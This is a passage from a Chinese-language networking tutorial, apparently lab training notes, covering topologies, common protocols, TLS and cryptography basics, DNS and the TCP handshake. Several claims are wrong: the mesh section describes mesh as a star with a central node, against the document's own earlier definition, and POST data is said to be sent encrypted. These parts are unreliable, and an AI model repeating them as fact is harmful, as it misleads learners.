交媒体、在线聊天等方式与世界各地的人们进行交流和互动.随着技术的不断进步,互联网正在不断地发生变化和演进.例如,移动互联网、物联网、人工智能等技术的发展和应用,正在为互联网带来更多的新功能和应用场景,使得互联网对人们的生活和工作产生越来越深远的影响. 使用者分类公共网络(外网)公共网络是指由政府或私人机构建立和运营的开放式网络,供公众使用.这些网络通常是基于互联网协议的,使得用户可以通过任何连接到该网络的设备(例如电脑、手机、平板电脑等)访问互联网上的信息和服务.公共网络的优点在于其开放性和普及性.公共网络为人们提供了广泛的网络连接选择,方便用户在任何时间和任何地点访问互联网.它还促进了信息共享和知识传播,为个人和企业提供了更广阔的市场和机会.公共网络通常分为两种类型:有线网络和无线网络.有线网络主要通过光纤、电缆等有线传输介质进行数据传输,其速度和可靠性较高;而无线网络则使用无线电波传输数据,提供了更大的灵活性和移动性,但速度和稳定性可能不如有线网络.尽管公共网络为人们提供了许多便利,但也存在一些安全和隐私问题,例如网络攻击、黑客入侵、数据泄露 等.因此,用户需要采取适当的安全措施来保护自己的信息和设备.私有网络(内网)私有网络是指由企业、组织或个人自行搭建和管理的局域网,通常是为了实现更安全、更高效的信息交流和 共享.私有网络与公共网络不同,私有网络通常只对授权的用户和设备开放,并且数据传输经过加密和其他安全措施的保护.私有网络的优点在于其安全性和控制性.企业或组织可以根据自己的需求和安全要求来设计和配置网络,确保其敏感数据和信息不会泄露或被黑客入侵.此外,私有网络也可以提高数据传输的效率和速度,减少网络延迟和拥堵.私有网络通常分为两种类型:远程访问VPN和专用网络.远程访问VPN可以让用户通过互联网远程连接到企业或组织内部的网络,从而实现远程办公或者远程访问企业内部资源的目的.专用网络则是由企业或组织自行搭建的局域网,通常用于内部员工之间的信息交流和共享.尽管私有网络具有许多优点,但其建设和维护成本较高,需要专业人员来进行设计、配置和管理.此外,私有网络的可扩展性和适应性可能也不如公共网络,因此企业或组织需要仔细评估其需求和资源,选择最适合自己的网络方案. 常见网络拓扑图网络拓扑图是用来描述计算机网络中各个节点之间物理连接和逻辑关系的图形化表示,可以帮助人们更直观 地了解网络的结构和布局.根据网络拓扑的不同特点,常见的网络拓扑图包括以下几种: 星型拓扑:所有的设备都连接到一个中心设备(如交换机、集线器等),中心设备负责转发数据.这种 拓扑结构简单,易于管理,但是中心设备故障会导致整个网络瘫痪. 总线型拓扑:所有的设备都连接到一条共享的电缆上,数据从一端传输到另一端.这种拓扑结构适用于 规模较小的网络,但是随着网络规模的增大,总线上的数据冲突会增加,导致网络效率降低. 环型拓扑:所有的设备连接成一个环形的链路,数据沿着环形链路传输,每个设备负责转发数据.这种 拓扑结构适用于数据传输要求高的网络,但是如果一个节点出现故障,整个环形链路就会中断. 树型拓扑:设备按照树状结构相连,中心节点连接多个分支节点,分支节点又连接其他节点.这种拓扑 结构适用于大型网络,具有高可扩展性和灵活性,但是管理和维护较为复杂. 网状拓扑:所有的设备都相互连接,没有中心节点.这种拓扑结构适用于要求高可靠性和高容错性的网 络,但是设备之间的连接和数据流向较为复杂. 不同的拓扑结构适用于不同的网络场景和需求,企业和个人可以根据自己的实际情况选择最适合自己的网络拓扑结构. 星型结构星型拓扑是计算机网络中的一种常见拓扑结构,它的特点是所有的设备都连接到一个中心节点上,这个中心 节点通常是一个集线器、交换机或路由器.中心节点负责转发数据,并控制设备之间的通信. 在星型拓扑中,每个设备都只需要与中心节点直接相连,因此网络结构简单,易于管理和维护.当一个设备需要与其他设备通信时,它只需要向中心节点发送数据包,中心节点则会将数据包转发到目标设备. 与其他拓扑结构相比,星型拓扑有以下优点: 易于管理和维护:由于所有的设备都连接到中心节点上,因此网络结构简单,易于管理和维护. 易于扩展:当需要增加新的设备时,只需要将新设备连接到中心节点上即可,不会对其他设备产生影 响. 数据传输稳定:由于每个设备只需要与中心节点直接相连,因此数据传输稳定,不会出现数据冲突的情 况. 但是,星型拓扑也存在一些缺点: 中心节点故障会导致整个网络瘫痪:如果中心节点出现故障,整个网络将无法正常运行. 中心节点带宽有限:由于所有的设备都需要通过中心节点进行通信,因此中心节点的带宽可能会成为瓶 颈,影响网络性能. 成本较高:由于每个设备都需要连接到中心节点上,因此需要更多的网络线缆和端口,相对来说成本较 高. 总的来说,星型拓扑是一种简单易用的拓扑结构,适用于小型网络或需要集中管理的网络. 环形结构环型拓扑是一种计算机网络拓扑结构,其特点是所有的设备都按照环的形式连接起来,每个设备都与相邻的 两个设备相连.数据在环上流动,当一个设备向另一个设备发送数据时,数据会沿着环路传输,直到到达目标设备. 环型拓扑的优点包括: 成本低:相比于星型拓扑和总线型拓扑,环型拓扑所需的线缆数量较少,因此成本相对较低. 易于扩展:当需要增加新的设备时,只需要在环上添加一个新节点即可. 数据传输高效:由于数据只会在环上流动一次,因此数据传输效率较高. 但是,环型拓扑也存在一些缺点: 单点故障:如果一个节点出现故障,可能会导致整个环路中断. 不易管理:由于每个设备都与相邻的两个设备相连,因此网络结构较为复杂,不易管理和维护. 信号干扰:当环路较长时,信号会经过多次传输,容易受到干扰和损失. 总的来说,环型拓扑适用于小型网络,具有成本低、易于扩展和高效的传输优势.但在大型网络中,单点故 障和信号干扰等问题可能会限制其应用.这种拓扑结构网络示意图如图所示. 总线型结构总线型拓扑是一种计算机网络拓扑结构,其特点是所有的设备都连接到一条中央总线上,数据通过总线传 输,每个设备只能通过总线与其他设备通信. 总线型拓扑的优点包括: 成本低:相比于星型拓扑和环型拓扑,总线型拓扑所需的线缆数量和端口较少,因此成本相对较低. 易于扩展:当需要增加新的设备时,只需要将新设备连接到总线上即可,不会对其他设备产生影响. 数据传输高效:由于所有设备都连接到同一条总线上,数据传输效率较高. 但是,总线型拓扑也存在一些缺点: 单点故障:如果总线出现故障,整个网络将无法正常运行. 总线带宽有限:由于所有设备都需要通过总线进行通信,因此总线的带宽可能会成为瓶颈,影响网络性 能. 数据冲突:当多个设备同时向总线发送数据时,可能会发生数据冲突,导致数据丢失. 总的来说,总线型拓扑适用于小型网络,具有成本低、易于扩展和高效的传输优势.但在大型网络中,单点 故障和总线带宽等问题可能会限制其应用.它的结构示意图如图所示. 树形结构树型拓扑是一种计算机网络拓扑结构,其结构类似于一棵倒置的树,由一个根节点和若干个子节点组成.每个子节点可以连接若干个其他节点,形成一个子树,整个网络结构就形成了一个树状结构. 树型拓扑的优点包括: 灵活性强:树型拓扑可以根据需要增加或删除节点,具有较强的灵活性. 故障范围小:当一个节点出现故障时,只会影响其下属子树中的设备,不会影响整个网络. 数据传输高效:由于数据可以沿着树的分支传输,因此数据传输效率较高. 但是,树型拓扑也存在一些缺点: 成本较高:相比于其他拓扑结构,树型拓扑所需的线缆数量和端口较多,因此成本较高. 管理和维护难度较大:由于树型拓扑的结构较为复杂,管理和维护难度较大. 单点故障:如果根节点出现故障,整个网络将无法正常运行. 总的来说,树型拓扑适用于中等规模的网络,具有灵活性强、故障范围小和传输效率高的优点.但在大型网 络中,成本和管理维护等问题可能会限制其应用. 网状结构网状拓扑是计算机网络中一种拓扑结构,也被称为星型拓扑.在网状拓扑中,每个节点都与一个中央节点相 连,这个中央节点可以是一个集线器、交换机或路由器.节点之间不直接相连,它们之间的通信需要经过中 央节点进行中转. 网状拓扑的优点是在出现故障时可以更好地保持网络的可靠性.因为每个节点都与中央节点相连,如果某个 节点出现故障,其他节点仍然可以通过中央节点进行通信.此外,网状拓扑具有良好的扩展性,可以方便地 添加新的节点. 然而,网状拓扑也存在一些缺点.首先,因为每个节点都需要与中央节点相连,所以需要更多的电缆和设 备,这会增加网络的成本.其次,由于通信需要经过中央节点进行中转,所以在网络中增加节点会增加通信 的延迟. 网状拓扑在许多局域网和广域网中得到广泛应用,例如以太网和互联网. 网络相关协议网络中常用的协议包括但不限于以下几种: TCP/IP协议:是互联网最基本的协议,包含了一系列协议,如IP协议、TCP协议、UDP协议等,用于在网络上传输数据. HTTP协议:超文本传输协议,是一种用于在计算机网络上传输超文本文档的应用层协议. FTP协议:文件传输协议,是一种用于在网络上进行文件传输的标准协议. SMTP协议:简单邮件传输协议,是一种用于发送电子邮件的协议. POP3协议:邮局协议版本3,是一种用于接收电子邮件的协议. DNS协议:域名系统,是一种将域名转换为IP地址的协议,使得用户可以使用易记的域名来访问互联网上的服务. 这些协议在计算机网络中都扮演着重要的角色,使得不同的设备和系统可以互相通信和交换数据. ARP协议(地址解析协议)地址解析协议(英语:Address Resolution Protocol,缩写:ARP)是一个通过解析网络层地址来找寻数据 链路层地址的网络传输协议,它在 IPv4 中极其重要.ARP 是通过网络地址来定位 MAC 地址 MAC地址又是啥? MAC地址(Media Access Control Address)和IP地址(Internet Protocol Address)都是用于网络通信的地址,但它们所代表的不同层次的信息. MAC地址是网卡的物理地址,每个网卡都有一个唯一的MAC地址,由48位二进制数表示,通常表示为12位十六进制数,如:00-1C-C0-6E-DE-4A.MAC地址用于在局域网中唯一标识一台设备,设备使用MAC地址进行通信时,直接向网络中的其他设备发送数据包,数据包传输的目标地址即为目标设备的MAC地址. MAC地址的作用是用于在局域网中唯一标识一个设备,它可以在数据链路层(第二层)上实现设备之间的通信和数据传输.当一个设备要发送数据时,它会将数据包发送到目标设备的MAC地址,数据包会经过多个设备的转发和处理,直到到达目标设备.MAC地址的另一个重要作用是实现网络安全,通过MAC地址过滤可以控制哪些设备可以访问网络和资源.例如,企业可以通过路由器或交换机的MAC地址过滤功能,只允许授权的设备接入局域网,从而提高网络的安全性和管理效率. MAC地址只在局域网内有效,它不具备跨网络的功能。在跨网络通信时,需要使用IP地址和路由器来实现数据的传输和路由。 由于MAC地址不具备跨网络的功能,这个时候就引出了我们的IP地址 那跨网络又是什么鬼呢? ​\t跨网络是指在不同的网络之间进行通信和数据传输. ​\t在计算机网络中,每个网络都有自己的网络地址和标识,网络之间通过路由器进行连接和交换数据. ​\t在跨网络通信时,需要使用IP地址和路由器来实现数据的传输和路由. 通俗来讲,我们整个巢安实验室属于一个大的网络架构,巢安实验室下面直属培训部、教学部、设计部、行政部、每个部门都有不同的IP 12310.10.10.0/24 # 培训部10.10.20.0/24 # 教学部10.10.30.0/24 # 设计部等等 因为不同部门的IP地址段是不同的,所以不同部门互相访问就做跨网络 RARP协议(逆地址解析协议)可以把数据链路层MAC48位地址转化为网络层32位地址. ICMP协议(因特网控制报文协议)ICMP,全称是 Internet Control Message Protocol,即互联网控制报文协议,所谓控制,就是通过下发指令来感知和控制网络环境,所以它一定是配合一个无法感知网络环境的协议来工作的,这个协议就是IP(包括IPv4和IPv6). 所以,ICMP通常被认为是IP协议的一部分,它封装在IP层中,使用IP协议进行传输.因此,严格来说, ICMP既不是一个网络层协议,也不是一个传输层协议,而是介于两者之间的一个协议. 它的主要功能是传输网络诊断信息 信息主要包括两类: 查询类报文 :主要用于信息的查询和采集,比如采集传输路径上的每个路由器都是谁,本次传输的报文是否达到目的地等等. 差错诊断类报文 :主要用于诊断网络故障,比如传输报文被丢弃的原因是什么等等. 可以报告错误信息或者异常情况,ICMP报文封装在IP数据报当中. ICMP协议的应用: Ping应用:网络故障的排查; Traceroute应用:可以探测IP数据报在网络中走过的路径. TCP协议(传输控制协议)TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议.TCP通过三次握手建立连接,保证数据可靠传输,并通过流量控制、拥塞控制等机制维护网络通信的稳定性.TCP协议常用于应用层协议(如HTTP、FTP、Telnet等)的底层传输. UDP协议(用户数据报协议)UDP(User Datagram Protocol,用户数据报协议)是一种无连接的、不可靠的传输层协议.UDP协议与 TCP协议不同,它不保证数据传输的可靠性和顺序,也不提供流量控制和拥塞控制等机制.UDP协议适用于对传输速度和实时性要求较高,但对数据可靠性和完整性要求较低的应用场景,如语音、视频、DNS等.由 于UDP协议的简单性和高效性,它在实时传输和广播等方面得到广泛应用. TCP协议和UDP协议的区别TCP(Transmission Control Protocol,传输控制协议)和UDP(User Datagram Protocol,用户数据报协 议)是两种不同的传输层协议,它们有以下几个主要区别: 连接方式:TCP是面向连接的协议,UDP是无连接的协议. 可靠性:TCP提供可靠的数据传输,确保数据按照正确的顺序到达目的地,而UDP不保证数据传输的可靠性. 传输速度:TCP相对于UDP而言,传输速度较慢,因为它需要在数据传输前进行三次握手、数据分段、 确认等过程,而UDP则不需要这些过程,传输速度较快. 数据量限制:TCP能够处理的数据量比UDP要大,因为TCP在传输数据时会将数据分段,而UDP没有这个限制. 应用场景:TCP适用于对数据可靠性和完整性要求较高的应用场景,如网页浏览、文件传输等,而UDP 适用于对数据传输速度和实时性要求较高的应用场景,如视频、音频等. TCP UDP 是否连接 面向连接 无连接 传输可靠性 可靠的 不可靠的 应用场景 传输大量数据 传输少量数据 速度 慢 快 TCP 传输控制协议–面向连接的可靠传输协议 UDP 用户数据报文协议–非面向连接的不可靠传输协议 IP协议(因特网互联协议)IP网际协议是 Internet 网络层最核心的协议.虚拟互联网络的产生:实际的计算机网络错综复杂;物理设备通过使用IP协议,屏蔽了物理网络之间的差异;当网络中主机使用IP协议连接时,无需关注网络细节,于是形成了虚拟网络. IP协议使得复杂的实际网络变为一个虚拟互联的网络; 并且解决了在虚拟网络中数据报传输路径的问题. HTTP协议(超文本传输协议)HTTP(Hypertext Transfer Protocol,超文本传输协议)是一种应用层协议,用于在Web浏览器和Web服务器之间传输数据.HTTP协议使用客户端-服务器模型,客户端向服务器发送HTTP请求,服务器接收并响应 HTTP请求.HTTP请求由HTTP方法、URL、HTTP版本、请求头和请求体等组成,而HTTP响应则由HTTP版本、状态码、响应头和响应体等组成.HTTP协议的主要功能包括建立连接、传输数据、断开连接等.HTTP 协议常用的方法包括GET、POST、PUT、DELETE等.HTTP协议是Web应用程序开发的基础,也是互联网上 最重要的协议之一. 是可靠的数据传输协议,浏览器向服务器发收报文前,先建立TCP连接,HTTP使用TCP连接方式(HTTP自身无连接). HTTP协议定义了客户端和服务器之间进行通信的规则和格式,其中常用的方法有以下几种: GET:获取资源 GET方法用于从服务器请求指定的资源,可以在请求中添加参数来指定资源的具体内容.GET方法是HTTP协议中最常用的方法之一,通常用于获取网页、图片等静态资源. POST:提交数据 POST方法用于向服务器提交数据,可以向服务器发送大量的数据,如表单数据、文件上传等.POST方法常用于向服务器提交表单数据,如登录、注册等操作. PUT:更新资源 PUT方法用于向服务器上传新的资源或者更新现有资源,客户端需要向服务器上传整个资源,而不是单独的部分.PUT方法常用于更新文档、图片等资源. DELETE:删除资源 DELETE方法用于从服务器删除指定的资源,客户端需要向服务器发送要删除的资源的标识.DELETE方法常用于删除文档、图片等资源. HEAD:获取资源的元信息 HEAD方法和GET方法类似,但是它只返回请求的资源的元信息(如资源的类型、大小、修改日期等),而不返回资源本身.HEAD方法常用于检查资源是否存在、是否被修改等操作. OPTIONS:获取服务器支持的方法 OPTIONS方法用于获取服务器支持的HTTP方法,客户端可以向服务器发送一个OPTIONS请求,以获取服务器支持的所有HTTP方法.OPTIONS方法可以帮助客户端了解服务器的功能和限制,从而更好地进行资源访问. 总之,HTTP协议定义了客户端和服务器之间进行通信的规则和格式,常用的方法包括GET、POST、PUT、DELETE、HEAD和OPTIONS等.不同的方法适用于不同的场景,开发者可以根据具体的需求选择合适的方法. 在HTTP协议中,GET和POST请求中提交的字符串都有长度限制.对于GET请求,由于数据是通过URL传递的,因此URL的长度限制会影响GET请求的字符串长度限制.通常情况下,不同的浏览器和服务器对URL长度的限制不同,但是一般不会超过2048个字符.如果URL的长度超过限制,就会出现截断或错误的情况. 对于POST请求,由于数据是通过请求体传递的,因此POST请求的字符串长度限制取决于服务器的配置和应用程序的限制.通常情况下,服务器会设置POST请求的最大限制,一般为2MB到4MB不等.如果POST请求的字符串长度超过限制,就会出现超时或错误的情况. 需要注意的是,如果提交的数据量比较大,建议使用POST请求而不是GET请求,因为GET请求的数据是暴露在URL上的,容易被拦截或篡改,而POST请求的数据是加密传输的,相对来说更安全.另外,在实际的应用程序中,应该根据具体情况来限制字符串长度,以避免出现性能和安全问题. get和post最根本的区别是什么?语义区别:GET 请求通常用于请求服务器发送某个资源,用于获取数据,按照HTTP/1.1标准,GET请求应该是幂等的,即多次执行同样的GET请求,资源的状态不会改变.POST 请求通常用于向服务器发送数据以创建或更新资源,它不是幂等的,意味着执行相同的多个POST请求,可能会在服务器上创建或修改多次资源.使用场景:GET 请求一般用于请求读取服务器上的某个资源,不应当导致服务器上数据的改变.GET请求可以被缓存,保留在浏览器历史记录中,也可以被书签.POST 请求一般用于提交表单数据或者上传文件,数据在请求体中发送给服务器,因此适合传输大量数据.POST请求不会被缓存,也不会保留在浏览器历史记录中,不能被书签.数据传输方式:GET 请求通过URL传输数据,数据附加在URL之后,因此数据大小受URL长度限制(服务器和浏览器均有限制),且对数据类型有限制,不适合传输敏感信息,因为URL可能会被留在浏览器历史、Web服务器日志等地方.POST 请求把提交的数据放置在HTTP请求的消息体中,没有数据大小限制,可以传输更复杂的数据类型,适合传输敏感信息,因为数据不会被暴露在URL中. 常见的HTTP状态码有哪些? 200(OK) 301(Moved Permanently)代表永久性转移 302(Found)代表暂时性转移 403(Forbidden) 404(Not Found) 502(Bad Gateway) https://www.cnblogs.com/xflonga/p/9368993.htmlhttps://www.cnblogs.com/xflonga/p/9368993.html Request/Response在Web通信中,request 和 response 是客户端与服务器之间交换信息的两个主要概念: Request(请求)当你在浏览器中输入一个网址或者通过一个应用向服务器发送数据时,这个过程就开始了一个request.这是客户端(通常是用户的Web浏览器或应用程序)发起的,目的是从服务器获取信息或请求服务器执行某个操作.一个HTTP请求通常包括以下几个部分: HTTP方法:定义请求的类型,常见的方法有GET、POST、PUT、DELETE等. URL/URI:统一资源定位符,指明请求的资源. HTTP版本:指明使用的HTTP协议版本. 请求头(Headers):包含请求的元数据,如客户端的类型、接受的响应类型、cookie等. 请求体(Body):在某些HTTP方法(如POST或PUT)中,请求体包含发送给服务器的数据. Response(响应)当服务器接收并处理完客户端的请求后,它会回送一个response.这是服务器对客户端请求的回应,包含了请求所需的数据或执行结果的状态信息.一个HTTP响应通常包括以下几个部分: 状态码:一个三位数的代码,表示请求处理的结果(例如200表示成功,404表示未找到,500表示服务器错误等). 响应头(Headers):包含响应的元数据,如内容类型、缓存控制、设置cookie等. 响应体(Body):实际的响应数据,比如HTML文档、图片、应用程序数据等. DHCP协议DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一种自动分配IP地址和其他网络配置信息的网络协议.DHCP协议允许计算机自动获取IP地址、网关地址、DNS服务器地址、子网掩码等网络配置信息,从而使计算机无需手动进行网络配置. DHCP协议通常由DHCP服务器和DHCP客户端两部分组成. DHCP服务器负责为网络中的客户端分配IP地址和其他配置信息, DHCP客户端则负责向DHCP服务器发送请求,并接收和应用DHCP服务器分配的配置信息. DHCP协议是网络管理和配置的重要工具,它可以大大减轻网络管理员的工作负担,提高网络配置的灵活性和可管理性. SSL/TLS协议SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是用于加密通信的协议. SSL最初是由Netscape开发的,后来被IETF(Internet Engineering Task Force)更新和标准化为TLS. SSL/TLS协议的目的是在客户端和服务器之间提供加密通信,以保护敏感信息的传输,如登录凭证、信用卡 信息等. SSL/TLS协议使用公钥加密算法、对称密钥加密算法和哈希算法来实现加密和身份验证. 那么什么是对称密钥呢?既然都有对称密钥了是不是还会有非对称密钥? 对称密钥及非对称密钥属于我们的密码学 密码学基础 密码学主要由密码编码和密码分析两个部分组成 密码编码学:研究信息的变换处理以实现信息的安全保护 密码分析学:则研究通过密文获取对应的明文信息 <中华人民共和国密码法>于2020年1月1日起实施.2005年4月1日起国家施行<中华人民共和国电子签名法>. 密码学相关概念: 概念 解释 明文 需要采用密码技术进行保护的消息 密文 用密码技术处理过明文的结果,通常称为加密消息 加密 将明文变换成密文的过程 解密 由密文恢复出原明文的过程 加密算法 加密过程所使用的一组操作运算规则 解密算法 解密过程所使用的一组操作运算规则 密钥 加密和解密算法的操作通常都是在密钥控制下进行的,分别称为加密密钥和解密密钥 密码体制分类密码体制分为私钥和公钥密码体制两种,而介于私钥和公钥之间的密码体制称为混合密码体制 私钥密码体制又称对称密码体制,该体制的特点是加密和解密使用相同的密钥消息的收发双方必须事先通过安全渠道交换密钥 优点:加解密速度快、密文紧凑、使用长密钥时的难破解 缺点:密钥分配问题、密钥管理问题、无法认证源 常见的对称密钥加密算法如下:DES、3DES、AES、RC4/5、IDEA 甲对乙说,我这有一把锁,以后我们互相传消息,就把消息放盒子里,然后用这个锁锁上再传,这个锁有两把一模一样的钥匙,咱俩一人一把 公钥密码体制又称为非对称加密体制,就是对数据加密和解密的密钥是不同的 优点:密钥分发方便、密钥保管量少、支持数字签名 缺点:加密速度慢(计算量大,不适合加密大数据)、数据膨胀率高 每个实体有两个密钥:公钥公开,私钥自己保存 公钥加密,私钥解密,可实现保密通信 私钥加密,公钥解密,可实现数字签名 甲对乙说,我这里有A型号锁(公钥),对应钥匙A(私钥),我给你一大箱子A锁,但是钥匙A不给你,以后你给我发消息就用A锁锁在盒子里给我,然后我自己用钥匙A就能打开看.乙对甲说,我这里有B型号锁,对应钥匙B,我给你一大箱子B锁,但是钥匙B不给你,以后你给我发消息就用B锁锁在盒子里给我,然后我自己用钥匙B就能打开看. 混合密码体制:发送方用对称密钥加密需要发送的消息,再用接收方的公钥加密对称密钥,然后一起发送给接收方;接收方先用自己的私钥解密得到对称密钥,然后用对称密钥解密得到明文 SSL/TLS协议的基本工作流程如下: 客户端发起一个加密连接请求,并与服务器协商SSL/TLS协议的版本和加密算法等参数. 服务器回应客户端的请求,并向客户端提供证书,证明其身份和公钥. 客户端验证服务器的证书,确认服务器的身份和公钥的有效性. 客户端生成一个随机的对称密钥,使用服务器的公钥进行加密,并将加密后的密钥发送给服务器. 服务器使用私钥解密客户端发送的对称密钥,并使用对称密钥进行加密通信. 客户端和服务器使用对称密钥进行通信,保证数据的保密性和完整性. SSL/TLS协议广泛应用于Web浏览器和服务器之间的安全通信,如HTTPS协议.同时,也可以用于其他应用程序的安全通信,如邮件、即时通信等. 加密的意义是什么?他是保护网络信息安全基本属性的哪一个属性加密的主要意义在于确保信息安全,它涉及到网络信息安全的以下基本属性:保密性(Confidentiality):加密最直接的意义就是保护数据的保密性,即确保信息只能被授权的用户访问和理解.通过将明文数据转换成只有拥有正确密钥的人才能解密的密文,加密防止未授权的人查看或窃取信息.完整性(Integrity):虽然加密本身是为了保护数据的保密性,但结合数字签名等技术,它也可以确保信息在传输或存储过程中未被篡改,维护数据的完整性.可用性(Availability):尽管加密本身不直接确保可用性,但它支持实现高安全性环境,其中数据对授权用户保持可用,而对未授权用户则不可用.认证(Authentication):加密技术还可以帮助验证通信双方的身份,这是通过公钥基础设施(PKI)和数字证书来实现的.不可否认性(Non-repudiation):使用数字签名结合加密可以提供不可否认性,确保发送者不能否认其发送的信息. DNS服务DNS(Domain Name System)是一种互联网服务,用于将域名解析成IP地址.它是一个分布式数据库系统,包括域名服务器和DNS客户端,可以将域名转换为对应的IP地址,以便网络设备可以找到相应的服务器. 分布式是个什么鬼?在生活中哪些东西是分布式的? 分布式是指一个系统或服务不是由单一的中心节点来控制和管理,而是由多个节点分布在不同的地方,相互协作和通信来完成整个系统或服务的功能和任务. 每个节点都可以独立地处理和存储数据,而且节点之间的通信和数据交换是通过网络实现的. 分布式的好处在于可以提高系统的可靠性、安全性和可扩展性. 因为分布式系统中的每个节点都是独立的,所以即使某个节点出现故障,整个系统也不会崩溃. 同时,由于数据和任务可以分布在多个节点上,所以分布式系统可以处理大量的数据和请求,从而提高系统的可扩展性.另外,分布式系统还可以通过多个节点之间的数据备份和冗余来提高系统的安全性和可靠性. 举个例子来说,现在很多大型互联网企业都使用分布式系统来支持其业务,比如搜索引擎、电商平台和社交网络等.这些系统通常由数百或数千个节点组成,每个节点都可以独立地处理和存储数据,同时节点之间通过网络来实现数据交换和通信.这种分布式系统可以处理海量的数据和请求,同时还可以提高系统的可靠性和安全性. 通俗来讲一个篱笆三个桩,一个好汉三个帮.其实分布式系统就是集体的力量,让更多的服务器进行协作,提供更强大的数据处理能力. DNS系统的工作过程可以概括为以下几个步骤: DNS客户端将需要解析的域名发送给本地DNS服务器. 如果本地DNS服务器已经缓存了该域名对应的IP地址,它将直接返回给DNS客户端;否则它将向根域名 服务器发送请求. 根域名服务器将返回包含所查询域名的顶级域名服务器地址的响应. 本地DNS服务器将向顶级域名服务器发起查询,以获取下一级域名服务器的地址. DNS服务器将向下一级域名服务器发送查询请求,直到找到包含所查询域名的IP地址的域名服务器为 止. 当找到目标域名的IP地址后,DNS服务器将返回给DNS客户端. DNS是互联网的重要基础设施之一,可以加速域名解析,提高网络应用的性能和可靠性. DNS(Domain Name System)查询的方式有以下几种: 递归查询(Recursive Query):递归查询是最常见的DNS查询方式,它是一种从DNS客户端向DNS服 务器发起的请求,要求DNS服务器查找并返回指定域名的IP地址.如果DNS服务器无法解析该域名,它 将继续向其他DNS服务器查询,直到找到指定的IP地址并返回给客户端. 迭代查询(Iterative Query):迭代查询是一种从DNS客户端向DNS服务器发起的请求,DNS服务器返 回它所知道的最接近目标域名的IP地址.如果DNS服务器无法解析该域名,它会告诉客户端下一个可能 具有相关信息的DNS服务器,并将查询转发给它.客户端将继续向其他DNS服务器进行查询,直到找到 目标域名的IP地址. 反向查询(Reverse Query):反向查询是一种通过IP地址查找域名的DNS查询方式.DNS客户端将IP 地址反转,并添加”in-addr.arpa”域,然后向DNS服务器发起请求.DNS服务器将返回与该IP地址关联 的域名. 以上三种DNS查询方式都是DNS解析过程中的常见操作.递归查询是最常用的DNS查询方式,因为它可以在 多个DNS服务器之间传递查询,直到找到正确的IP地址.迭代查询可以在本地DNS服务器上快速解析,但通 常需要多次查询才能找到正确的IP地址.反向查询则是通过IP地址查找域名的一种查询方式. TCP 三次握手和四次挥手的过程相关名词 ACK : TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1 SYN(SYNchronization) : 在连接建立时用来同步序号.当SYN=1而ACK=0时,表明这是一个连接请求报 文.对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此, SYN=1就表示这是一个连接请求或连 接接受报文. FIN (finis)即完,终结的意思, 用来释放一个连接.当 FIN = 1 时,表明此报文段的发送方的数据已经发 送完毕,并要求释放连接. TCP三次握手过程: 首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x 然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1 最后Client 再进行一次确认,设置 ack=y+1 123456789"面试常客:为什么需要三次握手?"第一次握手:客户发送请求,此时服务器知道客户能发; 第二次握手:服务器发送确认,此时客户知道服务器能发能收; 第三次握手:客户发送确认,此时服务器知道客户能收.建立连接(三次握手)--------------------------------------------------------#第一次:客户向服务器发送连接请求段,建立连接请求控制段(SYN=1),表示传输的报文段的第一个数据字节的 序列号是x,此序列号代表整个报文段的序号(seq=x);客户端进入 SYN\\_SEND (同步发送状态); #第二次:服务器发回确认报文段,同意建立新连接的确认段(SYN=1),确认序号字段有效(ACK=1),服务器告 诉客户端报文段序号是y(seq=y),表示服务器已经收到客户端序号为x的报文段,准备接受客户端序列号为x+1 的报文段(ack\\_seq=x+1);服务器由LISTEN进入SYN\\_RCVD (同步收到状态); #第三次:客户对服务器的同一连接进行确认.确认序号字段有效(ACK=1),客户此次的报文段的序列号是 x+1(seq=x+1),客户期望接受服务器序列号为y+1的报文段(ack\\_seq=y+1);当客户发送ack时,客户端进入 ESTABLISHED 状态;当服务收到客户发送的ack后,也进入ESTABLISHED状态;第三次握手可携带数据; TCP四次挥手过程: 1、发送方发送FIN报文:当应用程序完成数据传输后,发送方向接收方发送一个FIN报文,表示数据传输完 成,要求关闭连接.此时,发送方进入FIN_WAIT_1状态,等待接收到确认报文. 2、接收方发送ACK报文:接收方收到发送方的FIN报文后,向发送方发送一个确认报文,表示已经收到了关 闭连接的请求,此时,接收方进入CLOSE_WAIT状态. 3、接收方发送FIN报文:接收方在发送ACK报文后,通知自己的应用程序可以关闭连接了,向发送方发送一 个FIN报文,此时,接收方进入LAST_ACK状态. 4、发送方发送ACK报文:发送方收到接收方的FIN报文后,向接收方发送一个确认报文,表示已经收到了关 闭连接的请求,此时,发送方进入TIME_WAIT状态.接收方在收到这个确认报文后,进入CLOSED状态,整 个连接关闭. 需要注意的是,第四次挥手后,发送方并不是立即进入CLOSED状态,而是等待一段时间(称为2MSL,即两 倍的最长报文段寿命),这是为了保证在这段时间内可以收到可能在传输中丢失的ACK报文.如果在2MSL时 间内没有收到回复,发送方会认为连接已经被完全关闭,进入CLOSED状态. 为什么需要等待2MSL? 最后一个报文没有确认; 确保发送方的ACK可以到达接收方; 2MSL时间内没有收到,则接收方会重发; 确保当前连接的所有报文都已经过期. 123456TCP释放连接的四次挥手#第一次:客户向服务器发送释放连接报文段,发送端数据发送完毕,请求释放连接(FIN=1),传输的第一个数据 字节的序号是x(seq=x);客户端状态由ESTABLISHED进入FIN\\_WAIT\\_1(终止等待1状态); #第二次:服务器向客户发送确认段,确认字号段有效(ACK=1),服务器传输的数据序号是y(seq=y),服务器 期望接收客户数据序号为x+1(ack\\_seq=x+1);服务器状态由ESTABLISHED进入CLOSE\\_WAIT(关闭等待); 客户端收到ACK段后,由FIN\\_WAIT\\_1进入FIN\\_WAIT\\_2; #第三次:服务器向客户发送释放连接报文段,请求释放连接(FIN=1),确认字号段有效(ACK=1),表示服务器 期望接收客户数据序号为x+1(ack\\_seq=x+1);表示自己传输的第一个字节序号是y+1(seq=y+1);服务器状 态由CLOSE\\_WAIT 进入 LAST\\_ACK (最后确认状态);#第四次:客户向服务器发送确认段,确认字号段有效(ACK=1),表示客户传输的数据序号是x+1(seq=x+1), 表示客户期望接收服务器数据序号为y+1+1(ack\\_seq=y+1+1);客户端状态由FIN\\_WAIT\\_2进入TIME\\_WAIT, 